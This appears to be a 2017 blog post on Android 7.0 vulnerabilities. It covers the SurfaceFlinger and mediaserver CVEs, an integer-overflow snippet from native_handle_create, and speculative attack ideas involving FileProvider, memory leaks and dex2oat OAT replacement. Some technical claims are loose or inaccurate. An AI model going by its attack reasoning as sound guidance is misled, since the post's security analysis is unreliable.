Android phone users widely cover up mobile phone market. We understand that no hack proof devices in the world. Even though iphone iOS before 10.2.1 is vulnerable to DoS Exec Code Overflow (CVE-2017-2370). As a Android user we are not surprise Android operation system bug.  There are 2 critical bug occurs on mediaserver and surfaceflinger. A bug was found on 2014 identify that a potential memory leak in SurfaceFlinger on Android 4.4.4. Memory leak due to not complete designed or programmed applications limitation that fail to free up memory segments when they are no longer needed. Since this is design fault (bug), as time goes by bug become a vulnerability found by security expert last month. The CVE alert that attacker is able to use a specially crafted file to cause memory corruption during media file and data processing on Android 7.0. Apart from that, media server found new vulnerability. Such vulnerability also affects the libhevc library. As far as we know, to improve device security on Android 7.0. Andriod breaks up the monolithic mediaserver process into multiple processes with permissions and capabilities restricted to only those required by each process. However a design weakness causes the vulnerability located in the function that created the native handle. When passing in well-structured numFds and numInts (such as numFds = 0xffffffff, numInts = 2) to native_handle_create, you can cause the expression “sizeof (native_handle_t) + sizeof (int) * (numFds + numInts)” Integer overflow.

Below code is a proof of  concept shown that each GraphicBuffer object contains a pointer to a native handle.

native_handle_t* native_handle_create(int numFds, int numInts)
native_handle_t* h = malloc(
sizeof(native_handle_t) + sizeof(int)*(numFds+numInts));//———->Integer overflow position

h->version = sizeof(native_handle_t);
h->numFds = numFds;
h->numInts = numInts;
return h;

For details about vulnerabilities on Android. Please refer to below url for reference.

We heard that the overall comment on Android phone is not secure any more! As a matter of fact, design fault and design limitation are the element of the result. Since no prefect product was made in the world. Even though you put more time in development and staging phase can’t avoid a design fault occurs in your product. Yes, agree, shorten the development life cycle will hits the design fault encounter in frequent way. However modern mobile phone world integrate with Multi-application and functions. Sometime a 3rd party application will integrate into your mobile phone. Thus Andriod 7 contains defense mechanism to protect memory space and Kernel environment. But what is the fact causes the operating system still vulnerable? Ok, Let go together on this journey to elaborate more techincal details in this regard.

The evolution of Android 7.0

Android 7.0 includes a variety of system and API behavior changes.

Battery and Memory
Background Optimizations
Permissions Changes
Sharing Files Between Apps
Accessibility Improvements
NDK Apps Linking to Platform Libraries
Check if your app uses private libraries
TLS/SSL Default Configuration Changes

On above feature enhancement, it looks that the improvement on new version of Android looks fine.  As said, no prefect product design in the world.  On the other way of thinking, what if we become a hacker. On above items, which part will become vulnerable or weakness let attacker compromise the phone?

Observational standpoint:

Point 1: (Sharing Files Between Apps)

Regarding to technical details written on technical documentation. For apps targeting Android 7.0, the Android framework enforces the StrictMode API policy that prohibits exposing file:// URIs outside your app. If an intent containing a file URI leaves your app, the app fails with a FileUriExposedException exception. To share files between applications, you should send a content:// URI and grant a temporary access permission on the URI. The easiest way to grant this permission is by using the FileProvider class.

Side effect of Point 1 – Hacker can make use of File Provider class feature try to dig out the mobile phone data. The easy way is embedded a malicious program script in 3rd party application.  Fool the user to click the button (accept sharing files between apps) during software installation. Since many mobile phone users are smart today, but still have many people fall down to this trap.

Point 2: (Memory)

Both the Android Runtime (ART) and Dalvik virtual machine perform routine garbage collection, this does not mean you can ignore when and where your app allocates and releases memory. Software designer need to avoid introducing memory leaks, usually caused by holding onto object references in static memory variables, and release any Reference objects at the appropriate time as defined by lifecycle callbacks.

Side effect of Point 2 – The easiest way to leak an Activity is by defining a static variable inside the class definition of the Activity and then setting it to the running instance of that Activity. If this reference is not cleared before the Activity’s lifecycle completes, the Activity will be leaked. So all depends on mobile apps developer design. It is hard to avoid memory leak. As you know, what is the defect of memory leak? Hacker relies on this error can implant malware.

Point 3: (Background Optimizations)

ART (Android run-time)

Starting with Android 5.0, Android Runtime (ART) replaces Dalvik as the default virtual machine in the system.


Reference: The Dalvik Virtual Machine (Dalvik VM)

The Android platform leverages the Dalvik Virtual machine (Dalvik VM) for memory, security, device, and process management. Application designer can think of the Dalvik VM as a box that provides the necessary environment for you to execute an Android application sans, and therefore not to worry about the target device (mobile phone system).

Side effect of Point 3 – ART became the default runtime. While Dalvik relies on interpretation and just-in-time compilation, ART precompiles app Dalvik bytecode into native code.  The command responsible for compiling an application into OAT is dex2oat, which can be found in /system/bindex2oat. All mobile apps will be compiled every time the device’s system is upgraded or the first time it is booted up after it is purchased. So attacker might have way to use dex2oat to generate OAT files from modified versions of installed apps or system frameworks and replace the original OAT files with them. This is the famous attack hiding behind Android Runtime. Yes, compile method sounds like jail break of the mobile phone device. Even though iPhone can’t avoid. And therefore I still believe Android security not such poor because no products on the market can say it is hackproof.

Remark: Did you heard that hacker prepare scam email lure the user to upgrade their Android phone. It is the similar case which bring with my concerns.

Reference: Critical vulnerabilities on iPhone and Android found on Feb 2017.

Apple » Iphone IOS
score Publish Date Update Date
CVE-2017-2370 9.3 DoS Exec Code Overflow 2017-02-20 2017-02-22
CVE-2017-2360 9.3 DoS Exec Code 2017-02-20 2017-02-22
Andriod OS
CVE-2017-0405 9.3 Remote code execution vulnerability in Surfaceflinger 2017 2017 Feb
CVE-2017-0406, CVE-2017-0407 9.3 Remote code execution vulnerability in Mediaserver 2017 2017 Feb


If people tell you that a new mobile device is excellent, less vulnerabilities found. It is a perfect design. Even though he is the best at this moment. But believed that it is hard to maintain the glory in the long run. Why, because of today business on demand business strategy. If you heard that Android operating not secure anymore, but it is properly not.